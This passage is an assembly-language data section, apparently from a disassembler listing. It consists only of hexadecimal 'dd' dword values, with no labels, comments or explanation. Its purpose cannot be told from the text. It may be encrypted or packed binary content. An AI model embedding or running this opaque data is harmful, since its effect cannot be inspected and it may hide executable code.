dd 64E91662h, 9A6DEB5Bh, 0DFF70A50h, 4254B757h, 50CA20C9h dd 0BDD6C6E9h, 98E5329h, 80040CC8h, 16B279C3h, 0E523DCC4h dd 1EAC3A16h, 0CBC8357Bh, 58FFAEDh, 1DE3680Ah, 0E035C2DEh dd 3F840F00h, 7FC6B22Fh, 0E973C468h, 99D5EB7Eh, 68A598EEh dd 4B63702Ah, 37969996h, 0B32EF3A1h, 6EE9C74Fh, 4EA124C8h dd 515D5C49h, 705A170Eh, 664C3564h, 4681048h, 8DD019Dh dd 0D35F5885h, 38256668h, 48259826h, 0EB22D212h, 0CC19ABF3h dd 8BBE751h, 68FB1C01h, 1F9B27C5h, 0E0E5F884h, 99753CE9h dd 94D80C4Ah, 0FE3CB50Ch, 0EA889D66h, 5468CA42h, 4E188656h dd 97AFB269h, 43C05E6Ah, 17165CBEh, 70E1217Eh, 0D39C24B8h dd 94552527h, 41D997F6h, 5575609h, 0B835A671h, 0AB76A50Bh dd 75D34A4Dh, 0FFCB90F1h, 25162CEDh, 7BFD8740h, 48D12C66h dd 0F60084E6h, 0E958CCF7h, 24C047CDh, 224AF3BDh, 0E8311308h dd 0EAA2BF5Dh, 9A844218h, 2609FBB8h, 738949C0h, 3BBD03A0h dd 68F22939h, 0E95F485Fh, 14F0B2C5h, 7C5DEF01h, 5EB53410h dd 44B5FAFCh, 12339F01h, 0C5F55CBBh, 5809AE6h, 0FFD291AAh dd 0EC10F3F6h, 4E680963h, 99967753h, 95F6D0Bh, 0FB20FF75h dd 2E6A2DF6h, 919070F3h, 28E994A8h, 0E3E84B5Bh, 0CEF559C9h dd 0A139A01Bh, 7DEB2D7Bh, 24BEA5D0h, 71BC043Ch, 0AA68ABh dd 28ED199Fh, 5F4A33E9h, 2AD166D9h, 0B3835357h, 4811617h dd 0B8CBEEC4h, 0B14E5158h, 0F64439F9h, 60B91C64h, 801A9F6Bh dd 97EBCF1h, 2025E906h, 3C8151EFh, 0BAA88812h, 5E685F9Ch dd 4F4741EAh, 706A4556h, 0BE12CD3Fh, 0FE1FE788h, 0A0285E20h dd 0FE395A07h, 34C80FC0h, 58C5607Fh, 98F3B353h, 0B7A7707Fh dd 4B4E99C0h, 0C2138A99h, 0EDA00DFAh, 0E5CB6B1Eh, 0ACC5257Fh dd 0C94A9DD0h, 0F6937BF2h, 6C2648B3h, 92626824h, 0D8BF0109h dd 13A64C8h, 217EFEh, 5E1B5CE6h, 0E9B861FFh, 7721D807h dd 0FA090490h, 0D1D051Bh, 8041CF4h, 24A007AAh, 0C221972h dd 0CDA3768h, 0B584D420h, 72208CFAh, 96DB0FEh, 67AF0511h dd 3E277B52h, 0EC1C9A26h, 0BC96EE5Dh, 5D29825Fh, 0E3E010E1h dd 2D808790h, 0D66B122Eh, 0A7CFEF05h, 9558AA40h, 3901A661h dd 7A059CE6h, 8CBF38EBh, 62DE91Bh, 0C0D3926Dh, 1759EA67h dd 0AA5C7A5Dh, 1442AE0Ch, 74A6F2E9h, 382A2DB9h, 0B403931Ch dd 7E4C040h, 54C2F4D0h, 3557220h, 0F7B612Eh, 0B4032BFh dd 240B6B91h, 0A8295370h, 0C12F08FEh, 617A5F5Fh, 8BFF6001h dd 5245CDBh, 9F1A133h, 798166E0h, 0BE4675CBh, 0A393BB89h dd 3900BD48h, 3CE5A602h, 0E964F50Ah, 0FBE6C1Dh, 93A0031Ah dd 2D1F69B8h, 5CA10BFDh, 720A65Eh, 32216195h, 4AC2D13Eh dd 0C2800555h, 1A532C18h, 52DD2937h, 0CB64080Ah, 0E76048A2h dd 2312950Ah, 4C019413h, 0DDB75350h, 0C02DDC30h, 0F5F4BA20h dd 82958CA8h, 9891B6Bh, 2602F0F5h, 109BD5C9h, 88044E5Ah dd 0C105C311h, 0A78F06E8h, 2CC41F7Eh, 29FF7D0Bh, 4C1126E9h dd 99E22A98h, 954E1B5h, 51A6B02Fh, 0E9A5A0C3h, 2500CC21h dd 484F6FC3h, 0F34F77F4h, 60F03841h, 0EF313644h, 4C16AC7Eh dd 0D4102719h, 6F65EF57h, 4E39BBCFh, 55F6422Fh, 0C87536E9h dd 24EFE3F5h, 2536639h, 93C1ACBh, 0DF071F56h, 426B0D3Dh dd 7B4CDFD7h, 67864630h, 1264ABEAh, 0EF59495Fh, 32E96968h dd 5F161551h, 849579F6h, 0C2C45EADh, 4CBADEAFh, 1C097249h dd 0F79426E9h, 0C130F764h, 0A2F78B91h, 0B57DF46Fh, 48E721C0h dd 16F34B18h, 5814531Ch, 0EC5AD96Ch, 0FEF260Fh, 0CBFAE212h dd 0B94A7ED5h, 0CABF0212h, 0E257FA9h, 89D9F139h, 0A1D03868h dd 0E942E9B1h, 9D0A582Fh, 0B4089h, 96D47842h, 3E660243h dd 25AF5139h, 0A8877B09h, 0B468D152h, 6589F054h, 1097AFDDh dd 1B128EADh, 4A53E372h, 28EA0D12h, 7F97F59Bh, 0A5FA2094h dd 0F9284A4Eh, 0DA440E8h, 0D84B7E07h, 15614032h, 5C02653h dd 0EC4C005Dh, 70F9355Eh, 0B198BEEFh, 821CFABDh, 2BEAF7E6h dd 0C80BE1FDh, 0CD71902Ah, 5514E45h, 0A36140CBh, 2BD522Dh dd 48D3092Bh, 2E641B44h, 1270389Fh, 0E6A3AA31h, 590B8EC6h dd 642DEB1Fh, 0C0D04325h, 2C471073h, 2CDDEF7h, 0B6429E0Dh dd 961E497Dh, 0EBE7C43Ah, 30C22028h, 0F445158h, 0F095357Dh dd 31C40984h, 0A5D1BB4h, 0C5267BDFh, 0C778980Eh, 24427EF2h dd 8076610Eh, 0F8526Fh, 4C671B19h, 0B7276849h, 0BF105147h dd 77C1F8Eh, 802E389h, 0E00DB921h, 6E92E52Fh, 1B35A7ECh dd 5B21E8E7h, 56BF3056h, 0E930D179h, 9A843B76h, 0C43AE2AFh dd 0B903F8F4h, 1D906B4Ch, 0E130C141h, 19D0AC03h, 686509B8h dd 6FD10282h, 215F9582h, 0E0A4834Bh, 0E947882Fh, 2EDD97CBh dd 0A4099227h, 1250803Ah, 5644E3Eh, 77E1BD55h, 3840FFF5h dd 0FB346DCDh, 45A39E1Ch, 2509AC5Eh, 0D6205F2Dh, 4A5BB951h dd 0BD675A0Fh, 8E5E05B6h, 0E5B91CFFh, 0E9C2B803h, 0BFE2A0FDh dd 3E21E504h, 8CFE294Bh, 5B4F1F79h, 0EC40FBF7h, 42610937h dd 71434617h, 0AED8C0A5h, 19027360h, 7E66CF81h, 8970F589h dd 1806AA98h, 318FD3F1h, 9476A062h, 178D1F7Dh, 434F7h dd 6846F390h, 2E9813A3h, 0F0C45A4Ch, 272867BAh, 56DC19B2h dd 0D3362B43h, 0D290B720h, 2AFE7953h, 1D96DE9h, 6C0BA52h dd 60312F6Bh, 22B49B4Bh, 591C5B18h, 0C26D2FC1h, 1EBCCF70h dd 566471Ch, 4ECD9802h, 1482DFDAh, 640C583h, 6282636Ch dd 276FC1C8h, 4DD4FA8h, 0F9D5194Eh, 1E94AA09h, 0E044B8EAh dd 16FE58BBh, 1231EF77h, 4B1DF712h, 55E5D8Ah, 0E94B261Fh dd 0DF0D2246h, 7510FF68h, 0B1D3503Ch, 2F600E41h, 0AF6F31E3h dd 282B3416h, 685781EEh dd 0E3073266h, 1C1DDE05h, 15CCBCB5h, 0FCF8E750h, 0EB260FBh dd 82B31DB1h, 59CB3017h, 50DE1A03h, 0D8F6A0B0h, 24C007FEh dd 20662CE1h, 21EA8008h, 5309C2E6h, 77D78AE9h, 642F2E71h dd 48EF204Ah, 2DAB5A4Bh, 682E84FBh, 0FCE903FCh, 4601C702h dd 3FE1223Eh, 887332CBh, 91B42D3h, 4BF21B57h, 0E2FFA254h dd 8AFD953h, 5725131Bh, 0F95BD3A5h, 0A38AD3C0h, 429AE917h dd 78685E9Fh, 5085C5F9h, 17EA20B8h, 780BAAFDh, 0AB5E84D0h dd 0A270A8AEh, 0A7C877B6h, 0BF3AFCEFh, 402589Bh, 4077674h dd 0F5845185h, 575F0809h, 7DC913F1h, 828CAB4Fh, 13C38308h dd 0AC642A83h, 20AA5F00h, 7831E931h, 0FB013B13h, 4CF8A6AAh dd 52FE12C4h, 22A19BB8h, 7E67FAAh, 37C3A860h, 200B4570h dd 23586BE9h, 0C25DEF26h, 0BDF5C81Dh, 0A15E120Ch, 9E5FBA12h dd 770F878Bh, 7E3E7E18h, 16685580h, 0FE17056Fh, 74F2EA97h dd 67C657B8h, 20C5759h, 974639BAh, 0B9C87D5Bh, 5612D7E2h dd 8A0A63E1h, 5F58C742h, 0D55C9580h, 76469142h, 198E8253h dd 0BEF80F61h, 6D0DEB80h, 0EE47817h, 90625FA9h, 0E9902BF9h dd 0BE2448A0h, 85026CACh, 6022C819h, 1792E741h, 1C1FC54Dh dd 61D144C3h, 8084BB89h, 0FA5DB0FEh, 0B0528484h, 0A8E92797h dd 0A4410606h, 33F32F4Bh, 0D96AD504h, 0FB82C469h, 0E86B7DA1h dd 4D6F8592h, 805AAEE9h, 3F212D0Ah, 174A197Eh, 0CBAD610Eh dd 9ABE2BB5h, 1A5AF739h, 96075C20h, 0DD29C275h, 0A7C45C75h dd 0E8DA54F6h, 9DDD271Ah, 3340EE9Ch, 23E26BE9h, 0D7495D5Ah dd 18A85E63h, 0AE3A9584h, 0FC55E08Ch, 767B9D5Dh, 805A0249h dd 0F36D957h, 0AA495BB6h, 1D68FC60h, 8637584Fh, 100B7810h dd 0CACA5229h, 0A5052DD4h, 8006DF54h, 0C57F0183h, 0CAC0F94Eh dd 3A27652Dh, 0EBCB24E5h, 0D0015F06h, 706962B8h, 0DE1D7F7h dd 0EB9F45FBh, 42C8664Bh, 327BF7DFh, 5FF6AB25h, 0F7FD4A02h dd 17DE1A0Ch, 0BF9BF6AEh, 92856404h, 0D62D50A9h, 5A123356h dd 0E45E2EEh, 131ECCE9h, 0E88689BEh, 6DC01548h, 9F547FE5h dd 22FD9067h, 0ED094A58h, 2B9CB12h, 72116E45h, 1A065C7Ch dd 9F67981Fh, 29B5BE7Ch, 5FB0EA1Dh, 4F307A25h, 1071F973h dd 0E90921F2h, 1A77F14Eh, 9D805061h, 0FEA792E7h, 94605A31h dd 2DC03F27h, 1CC496F2h, 375B8EEh, 655C28C2h, 0E9F2D129h dd 5EF60889h, 8B814759h, 5251C6BEh, 4EA47C3Eh, 0F81D0892h dd 0B7530019h, 3BF78051h, 8E98FA30h, 0BF1A80F3h, 5522079Dh dd 0BCE89531h, 6082B2DEh, 0A05AD72Fh, 2602A1A3h, 94F22AB3h dd 495808C5h, 97AF2ADEh, 5757752h, 63EF61BFh, 0AD4AC6Ah dd 7B2B7AE9h, 0E941D00Eh, 0E2AB6048h, 75C3B506h, 316591B8h dd 0A17CD16Fh, 32F04042h, 4B22AC3Fh, 1DECAFAh, 62E8EE81h dd 0C8215F2h, 7891015Eh, 3FDCC580h, 0DEF2605Fh, 68081CD0h dd 728141Ch, 425D2082h, 0DDE29356h, 0F73B0BFDh, 848933A5h dd 0AF37E5F7h, 36CE10D7h, 1E2D9A34h, 5268F680h, 2F12AC63h dd 6ECB05Eh, 825D8151h, 3612EF42h, 6E027D2Fh, 0F20E0965h dd 0A57BC9E1h, 55F2F76Ah, 502F6FC5h, 836819E6h, 21E58771h dd 71FA3A01h, 9BA52F1h, 0F3664735h, 9964924Eh, 0EE5F8EDAh dd 0EB2217FBh, 67322B16h, 8EE65D51h, 774B6A98h, 7541A189h dd 56350C6Eh, 8B6A41C5h, 1647421Ah, 40B85351h, 6A0325BDh dd 0D9B65593h, 73E4F028h, 0CE37C108h, 8B2C747Fh, 5F14BE28h dd 0ED685B18h, 0B1947954h, 0F6517D40h, 30724B60h, 0C6F1FF5h dd 3AB92A02h, 56E5A8C7h, 68490463h, 998CBE11h, 0ADA44FE9h dd 55E26944h, 0E989D3FBh, 0D3C27A8Eh, 6ADDBA89h, 1513ED3Bh dd 0D4D55954h, 58ED4F8Ah, 4B75BD80h, 0E91B06D6h, 0B0F92860h dd 5A0BDAADh, 4ADDBD70h, 0E64E3EACh, 0A1332A8Ch, 1BA5B52Fh dd 2F97C939h, 0BB1034h, 8179D525h, 0FB7735CFh, 28031458h dd 0B704D04Fh, 9C9C093h, 5EE9ACB0h, 9C32BF29h, 0A796FD50h dd 13907120h, 0E803AF68h, 69E9A16Ch, 282D1A78h, 601E1DDCh dd 5FF63C89h, 18B27CF3h, 874E00D5h, 0D34CF7F3h, 520825E4h dd 0F8C35A70h, 1FD136Bh, 7B4ACAFAh, 0F5ED385Bh, 138EEA84h dd 0B8101203h, 9341D148h, 0B250BC7Ah, 0B9BEE883h, 50E9B0C5h dd 13B2C14Ch, 0EB359B6Fh, 187615E4h, 0C6B6D5Fh, 2D2702BAh dd 191DE18h, 89E1F808h, 1C07CCBh, 3D914AC9h, 4CA0D929h dd 2D31A108h, 6BC68801h, 0FFD286A8h, 0E909ABCAh, 0B8F5B725h dd 950549D1h, 82F6A998h, 1EB35380h, 57C3FEA1h, 1747EFDBh dd 0EB336ACBh, 13F3B195h, 0C177C2h, 6EEC25EEh, 8689DFF3h dd 0C046A924h, 6F1CFDB4h, 8AC1B95Ah, 13ADDF7h, 0D3504A38h dd 28E0DB4Dh, 7C4AFE96h, 2606CA85h, 4C63B1F2h, 5E7934E6h dd 287EB384h, 5A4A692Ch, 0B895B487h, 0F7D2D4F1h, 0E5BC12F1h dd 0A6D74952h, 0C3407722h, 0D1E4ECE6h, 5872000Bh, 8DF9BE28h dd 0DD95D7A7h, 25801D32h, 0B4A7148h, 3267E913h, 92DC37EBh dd 3169C8DDh, 0B017CBCEh, 9C25322Eh, 6AD69801h, 0C807F24h dd 5F3B7B98h, 6EF7F3E9h, 20F79F41h, 97304CA8h, 4D8F8A1Ah dd 0FC4AD694h, 0A67B05CDh, 81810C65h, 7EA28CDh, 4B12E1F3h dd 24F16B6Fh, 4C0FD632h, 5F64CA3Ah, 0E7EDFA31h, 0ABC50184h dd 0DE800E67h, 9D57315Eh, 0C4C5356h, 0A5E80FB7h, 0A172E961h dd 0A737BF3h, 2742F156h, 0AB153739h, 25786166h, 5DD125DFh dd 0FF7C42EBh, 0E90FD76Dh, 94575644h, 0F84761EEh, 4768002Ah dd 0F46D9039h, 77B34F6Fh, 0A0CFB5DFh, 0C272885Bh, 0CAEAA698h dd 3058590Bh, 25B19CD0h, 225C4B54h, 8213E26Bh, 0E059F217h dd 2F12B9E1h, 0DFDCC0A6h, 59525CA7h, 1058D3DEh, 0C13C2EC4h dd 0F185EA8Bh, 0B8508782h, 6CE609Ah, 2900710Dh, 410526EAh dd 7456DD78h, 0F0F2EC2Dh, 5ED048F7h, 0E2425E2Dh, 5FFAD4F4h dd 898946Bh, 422C8F03h, 49134438h, 0D3B7C3FCh, 9B1E07AEh dd 891247FDh, 4804D2F4h, 1E4EA2CDh, 0E41E27A2h, 374FE919h dd 2E713124h, 4C2DF67Fh, 0D917D55h, 9149509Eh, 4F33F479h dd 0E7FD390Bh, 0DD501695h, 0A54D7FF8h, 0B96F7769h, 33F603DCh dd 51A5F32h, 0CF9B050Ch, 0E982D185h, 0E34E7ED0h, 0E4F104Ah dd 6B1468E9h, 84542C2Fh, 25692946h, 73C6926Dh, 6D545325h dd 4C5F2540h, 0E90D8886h, 0F009BF05h, 6EBEC05Fh, 0FA427B22h dd 77E9CAAh, 95BD368h, 294247FFh, 3A906838h, 35B41D02h dd 0AC981E9h, 8D6E905Dh, 0FBE750h, 5147DD21h, 56E346B9h dd 0CD29C809h, 609D5C59h, 161AE955h, 33B836C0h, 0F732906h dd 0E128D535h, 0F250CD9Fh, 0D3B17E1Eh, 6AC1B300h, 0AE7E5A7Ch dd 6279A23Ch, 5BDAF7C8h, 755AC97Eh, 0BF564DDCh, 0BD095B79h dd 119CDD40h, 0F1028F2Dh, 5DE9C181h, 90F73A4Dh, 0AC225C2Bh dd 23B2BC4h, 0DD9AE952h, 8590ACCEh, 30C3549Dh, 0CE18670Ch dd 7EE94616h, 0AEBDB040h, 0F403FD4Eh, 202F5FCBh, 76BE5661h dd 5753210Fh, 4C11E54Eh, 6D684043h, 0AFB5270Ah, 0EFAEC7EAh dd 2844B092h, 4A3B138h, 0CB885BF9h, 84D3E1E8h, 948082B7h dd 1C12FC09h, 0FB9E1448h, 5EEFFC5Eh, 0E90C2EFDh, 0BE6F2418h dd 8099FE71h, 0CE8C105h, 0D6F982FBh, 0B5D994Ah, 93B17564h dd 0DF37A5ACh, 58BD1594h, 0C4A04B18h, 9532AACEh, 0D6820BD5h dd 66FF0632h, 9BC92480h, 43D48087h, 895E0F37h, 82B0F073h dd 8D624B79h, 9382728h dd 5C04F0D7h, 0C8065D85h, 0DA92B450h, 0C13159C6h, 8376B5B5h dd 9F023A50h, 68B5F8F3h, 42D2A2B2h, 0E34E111h, 62528EC0h dd 67D5ABC4h, 0AFC104BCh, 0C9E58851h, 283A60EAh, 30043EB0h dd 43D3E9DAh, 191A74B4h, 0AE03295Dh, 46A8043Bh, 5EC2F386h dd 0D7C5FE2Eh, 6FE00E19h, 0EC1CE43Eh, 7194DDE0h, 0E1F5F053h dd 24E8792Ch, 1219665Fh, 0C3B7FEE5h, 0C38E2C1Eh, 11D2E9E8h dd 985AC92Dh, 14C4BAADh, 4A4A1D52h, 0F90B1C2Fh, 43D8D102h dd 0A109F9F2h, 763D1E62h, 96C59DDDh, 8BA13CDh, 50073622h dd 0BC8278B0h, 8F5F1D0h, 0E224AFC7h, 0E686E424h, 4C6A582Ch dd 84007F4Eh, 0E9DF63E0h, 5B9D2DF5h, 0CB22091Fh, 9426F4D1h dd 0B9023B10h, 485B5DD7h, 6841AFFEh, 616F3F7Bh, 8C464Eh dd 4C03E8C0h, 0C61C122Ch, 0C9FE1F58h, 0C555949Bh, 0E65709E4h dd 0E95059D9h, 2DA5B436h, 55E9F37Ch, 7497F450h, 0C5407238h dd 0D782B044h, 0A0517F87h, 9C71ECBDh, 4CB90B01h, 3177F15Fh dd 0EA43C27Bh, 977C70F7h, 18EA6163h, 5D4BFAF4h, 16D88E80h dd 6D8010BDh, 94E7169Eh, 0B065FE29h, 6E1487ABh, 3007016Dh dd 3C12A862h, 13AB25A6h, 0B8C4ABFAh, 2B5239ABh, 2085A00h dd 61F74240h, 2DE904DDh, 0D1F4528Bh, 0F942FB89h, 0EE74595Fh dd 0E1C68409h, 98B5CF90h, 8081BB40h, 6817665Ah, 0F5FC04F2h dd 9824A590h, 3E2C1D79h, 0ABE95B0Bh, 0D587FB40h, 4A92D4EEh dd 0E1B15100h, 0F468C9FEh, 94C6976Eh, 0FA0EDE20h, 0E95E54E5h dd 0FA284BD6h, 8E441D2Dh, 0B06A56BFh, 0FC64160Dh, 0C7C357E6h dd 1F4D25ACh, 20C2507Ch, 0DA205D03h, 0E8E2CAD8h, 8CE9015Fh dd 1471E983h, 347CEF48h, 85003312h, 20477269h, 6355158h dd 1AC283Eh, 0F858C52Fh, 45FD5E68h, 0AD8FCDA6h, 0F1CFDE5Ch dd 54127FBEh, 688229B2h, 60A009E6h, 0F87FB1BFh, 93A3444Fh dd 51A2D110h, 26723D3Bh, 9643F05Ah, 581F7EBFh, 9000AFCh dd 18BB6857h, 5FAE3A04h, 6474E915h, 57BD27AEh, 77E82187h dd 0BF05905Dh, 1CC75547h, 83FB4E33h, 0F66DC37Ah, 84FF5B16h dd 8277A8FAh, 0CA37E902h, 92D1430Fh, 0E35660D4h, 2F59B058h dd 78FC20A6h, 0B387EA46h, 49680454h, 0C065EA51h, 0B50046FEh dd 0D100AC76h, 31F381EBh, 9515433Ah, 4DDF76Ah, 880760B1h dd 0C5D927F3h, 0BEF5BB5Ah, 9248D706h, 0CEB70E13h, 0F8096CB0h dd 6812F796h, 39BB3410h, 0E3457FC2h, 0D8AA42A1h, 0E917508Fh dd 1127E7A3h, 0A41D9390h, 6084F8EEh, 95B71871h, 40F2F930h dd 0A7CA664Fh, 0EC4C11h, 0B59B98EAh, 0C6545299h, 1D63D6CAh dd 11E6C707h, 0CF603585h, 4F251449h, 7F7E806Eh, 0D695FF6Fh dd 0AF074988h, 5616F837h, 538492EDh, 37470EFBh, 1199D101h dd 0EA2E72A3h, 0D060140h, 380845C5h, 5A892D44h, 17565C80h dd 24AB2917h, 0F1AE16CDh, 70F0F993h, 10831251h, 45FF57Eh dd 3F7064BFh, 0A1C904EFh, 0EB0E13B8h, 59EE40FDh, 76D6F65Bh dd 53687BD0h, 0B714B91Ch, 0D5F822Eh, 30C95F81h, 1D831985h dd 0CBBA52F2h, 0E2D71103h, 2F7C9C19h, 5C462D95h, 5ED1B81Dh dd 47AE501Dh, 65533EB8h, 13AB8CD4h, 0F012F8EBh, 95D2B1E9h dd 0FEF0B225h, 4EF612CCh, 5AAFCE6Ah, 705231EBh, 2629A46Dh dd 0CBC0DE13h, 9C673E68h, 4F436EFFh, 98416057h, 0BA3481FEh dd 6DF5940h, 1EA7288h, 6D687F27h, 3C165CEBh, 6A0B2D11h dd 4907F64Fh, 1836A102h, 0CCCC9855h, 26DF82C4h, 2D06A1B5h dd 91F15115h, 27D95E62h, 4A096FF2h, 0B55BD05Fh, 68419051h dd 616C45BFh, 176F56C4h, 0E24D40FFh, 7EAC07Eh, 0E75EE9EDh dd 0D01EC0B5h, 69BACAE9h, 50D52925h, 0E6F5AA6h, 44364D59h dd 16F2A587h, 0F16621BBh, 0B0D4C3A8h, 7B0CFCEAh, 222977F0h dd 0E3A39F41h, 3BC208EFh, 0C3C12DCAh, 536FAA6Dh, 78313841h dd 742E80F9h, 69B7EF25h, 0DE02E909h, 0BC327B7Dh, 0FEB746A0h dd 9FFEA06Bh, 6588D3D9h, 5A5D0920h, 6DA024CCh, 813C633Fh dd 692DC038h, 980113Bh, 4D1B48F7h, 0E54158BFh, 8AA0844h dd 369028Bh, 5F09EDC6h, 484EE769h, 3CBB5A47h, 78943077h dd 0AF4064Bh, 0FDE597E6h, 6F687525h, 0ABA0F83Eh, 801CDCF6h dd 92CC2ECh, 275B6804h, 0AA822491h, 4EC3B36Fh, 0AFD61DA9h dd 0E20016C4h, 6E945B28h, 68446229h, 346B0CE9h, 340D84F0h dd 0D0F72B18h, 6B22A0D8h, 4F041080h, 129DA98Bh, 0B600B8EBh dd 0F6BF5815h, 0BC040432h, 0A38425E9h, 25AA9241h, 90CE8BAh dd 374FD49h, 2DE57C15h, 1976C2BDh, 5FC998BDh, 1005CB17h dd 6156C775h, 59E668E9h, 51FF866h, 0AF15D740h, 0EFD19F05h dd 0D7196AC2h, 0FA2D68E5h, 73CB00D4h, 6EBF6CB9h, 984ECD7Dh dd 52B82401h, 20308722h, 35184BF1h, 0D3B0EA3Ch, 20192DE9h dd 48297169h, 0F74168D6h, 33601800h, 463C5803h, 16203E01h dd 60E2C131h, 0D15F8AF5h, 0B7ED1D9Dh, 0BEFF017Fh, 3FD57ABDh dd 1362FAA0h, 6CA221h, 0ADEBB8FBh, 5797AC2Ah, 4EE93A21h dd 0CF303F6Eh, 1250552h, 23F58119h, 2F5C9EB3h, 4BD308E0h dd 5321BFA5h, 0A27E0A37h, 0B03E9FE1h, 39F1A1DBh, 202B3B35h dd 7909C304h, 0B969C1B4h, 6244E811h, 0BC4D70B7h, 505A433h dd 0EE02C013h, 4BA86EE0h, 82592706h, 8174D33Ch, 0D7015AC1h dd 0E9C2617Bh, 6B56658Dh, 81FC0219h, 0F1C91F0h, 0D86F7E0Dh dd 2BC72560h, 0F77814EEh, 0C33504C7h, 0DC99C897h, 0D0F92F4Eh dd 0B809DAA4h, 0BDE246F3h, 5D8B9D51h, 0EBA5653h, 694277E4h dd 0D5D4E1E9h, 4281DB25h, 220C2EF7h, 154F16EEh, 1DF18569h dd 0B60D4535h, 3F50F48h, 13B74965h, 32C0FFA5h, 4EE9EB29h dd 0C2B292C1h, 10E64B55h, 0FF2FCAEh, 65535966h, 3FFD1B1h dd 0D78885C3h, 0CF825AE3h, 100EB482h, 9F28BC77h, 124A485Ah dd 0EA346486h, 83C99BFEh, 0AB543B35h, 4F65ACF4h, 3081CCB9h dd 0F84DA832h, 0E4A87E6Ah, 23914F78h, 9DF4A1A0h, 315CE6ECh dd 77A825EAh, 47DFA81Ah, 72DB2F14h, 7623F789h, 0BEE962DCh dd 402B6AFFh, 581BC30Dh, 1D1332D9h, 9BB98CEAh, 0E5FEFA2Fh dd 0D12140CCh, 34E53AE9h, 0BEB8C6C4h, 5E2509B7h, 0EDD5257Dh dd 18B62A9Bh, 865916E2h, 0A09F3DBBh, 3EECF83h, 531B037h dd 432E42E7h, 0A262C02Ah, 2063F13h, 0C15FFE21h, 3300B528h dd 234018E6h, 4E98094Dh, 0EDB93405h, 0E91D05A6h, 59EB21Fh dd 48ACEB5Fh, 21254221h, 0A9EEDF5h, 1D8DF516h, 56EB9654h dd 0CDDB02A8h, 2D43578Eh, 7DCFBAB8h, 63C76AF7h, 0B1339E4h dd 0A755056Fh, 0CBDE5D81h, 5E287255h, 801AC4A9h, 0EC658F0Ch dd 20E1585Ch, 72681289h, 64974557h, 9335A43Ch, 0B32E2124h dd 0BD1B9408h, 30FFB784h, 9EAE24Fh, 5DA944E9h, 735FC53Ah dd 8FE902E3h, 9AF5FEF9h, 0DC098BB9h, 0D16858EDh, 0F30354Ah dd 0CE066A3h, 53D0E946h, 4B18BBB7h, 0C8CC1A29h, 567582AEh dd 6F777927h, 515A9D00h, 3F255958h, 4B3F214Ah, 1CA09E18h dd 61ED5BBh, 768909D4h, 0CBC5E497h, 0A101A10h, 253D4DBCh dd 0AC149B55h, 7BBE0617h, 0D90AF051h, 5D9889BDh, 0ED144B95h dd 27E9381Ch, 85C3A9F7h, 31D54645h, 626C73F4h, 0A56810F4h dd 82201AFFh, 206F0A8Bh, 940D40F1h, 0B6F82576h, 0B03FA434h dd 0E8D604BAh, 0F3CEBF5Dh, 33F5C03h, 0ACB50168h, 1D8DB06Dh dd 0A80E5F7Bh, 77FA48C8h, 3E605A0Bh, 0DB687509h, 53C01D8Fh dd 0C95ACFE6h, 0FF9A9073h dd 30D4CEE4h, 0C60C0F06h, 3425EA71h, 57FC621Dh, 0AE2C10Bh dd 0E62C6375h, 62D07ACh, 820C5627h, 78A05D8h, 0E274A7ABh dd 48E49F5Eh, 0D17A990Ch, 1D258E69h, 81017742h, 0BB5143F6h dd 23B8826Ch, 67CBF12h, 0D391E05h, 0D710A54Bh, 0E468C0A1h dd 0F157C213h, 0E956C4FCh, 0DC0B93ACh, 0A74C795Ch, 0C277A4F7h dd 6A0E6382h, 5951758Dh, 0C1C380C1h, 5150690h, 0F995E9A1h dd 0C27DA2FAh, 0C1B05066h, 3530C33Bh, 0ACEB1980h, 20CE1652h dd 68809D5Eh, 986EE101h, 364A286Dh, 0ABF5C3A9h, 0FE419521h dd 35D44B8Bh, 14F70B18h, 4159D4BEh, 0A42A4E84h, 76C6AEF7h dd 4EF99F24h, 172B9F51h, 0D24CBD3Eh, 0DC68DE4h, 6D514563h dd 6234C00Ch, 0EDD44F4Eh, 90C081Ah, 0C2478914h, 89F3D7ACh dd 31E4796Bh, 2A88B110h, 5F5EADF0h, 201DCDDAh, 774044BDh dd 945B84Fh, 0EAF4F2F6h, 25C35175h, 0B2FF4C32h, 0C8A859B0h dd 4457A517h, 45AA8282h, 718A728h, 0BE802267h, 485112F1h dd 0E26F0337h, 88962808h, 163B750Fh, 74E58038h, 7331C112h dd 9703EE45h, 6E76C380h, 5D97FB96h, 9D703A20h, 296122B2h dd 0F456E98Eh, 0E3B1F28Bh, 0FA7E7F84h, 0E60B9AA0h, 0E9F61FC2h dd 77B46A59h, 0A3962D5Bh, 3B89AD59h, 0B3A51802h, 41A4B0EAh dd 7B5B3099h, 7A4E122Eh, 6897AB0Bh, 3DD15315h, 4AFEFA80h dd 0FB39EAB7h, 0B5CDC07Eh, 512849C1h, 0B027D253h, 4025A19h dd 63102B23h, 4DB11601h, 55A23A82h, 0D2FF0964h, 8C2BA08Ch dd 0E58012F0h, 9660B329h, 0BD2B3604h, 0FC4F3DF2h, 313E88EBh dd 83EE7122h, 1333F1C7h, 0CD3191F0h, 9E189770h, 4C7DEBCAh dd 9999BBCh, 0F57005E9h, 3CF488A6h, 0E6709F4Eh, 264418BFh dd 8F4E5Dh, 20242807h, 0AB5A90E9h, 0D482BFF8h, 53D6FEF0h dd 0F55B8342h, 58F6424Eh, 7C03740h, 0F48005E4h, 74EC3036h dd 0F637DC86h, 0CCC008D3h, 7EC4FE6Ch, 7520C2D0h, 3160E788h dd 0B481B1F8h, 9AE528F8h, 71F53751h, 818F9B06h, 7EBA0010h dd 8162D03Bh, 5D1D0BE2h, 34046670h, 0D122909Ah, 0D69F295Ah dd 774A4071h, 0E1F30E83h, 30745E9h, 1367F15Fh, 2BFC704Bh dd 5D98717h, 0C8605102h, 7F602C98h, 37FCBF0Dh, 817A0135h dd 125503F7h, 8D9E3044h, 0C7F5D883h, 7BFB3D1Fh, 6D6222A5h dd 0B8E09055h, 0AF3BE105h, 4EE9C16Ch, 0AC96C373h, 0C482FED4h dd 0C80455A5h, 6ACBE5Fh, 29AA2FE9h, 104D783Fh, 607BEE92h dd 0E5CDB6EDh, 264CF364h, 77660552h, 508343E1h, 0FD97E24h dd 6967028Ah, 17CFCE66h, 4492C31Ch, 60F94A16h, 0CA70841h dd 75AF0B54h, 39DAC3B0h, 0DCD9D5A9h, 0E3996748h, 5FAD5A93h dd 0FEB9EC84h, 0F95068B2h, 57CA88B5h, 2878601Dh, 7D95C281h dd 7FEB5Eh, 91BA522Ch, 0D0A3A44Ch, 6D0E01FAh, 0EC3AB6FBh dd 0D70C6976h, 324E8263h, 788E19BBh, 0C5532C03h, 0E7AA2B2Eh dd 91F4ADFh, 14267EC9h, 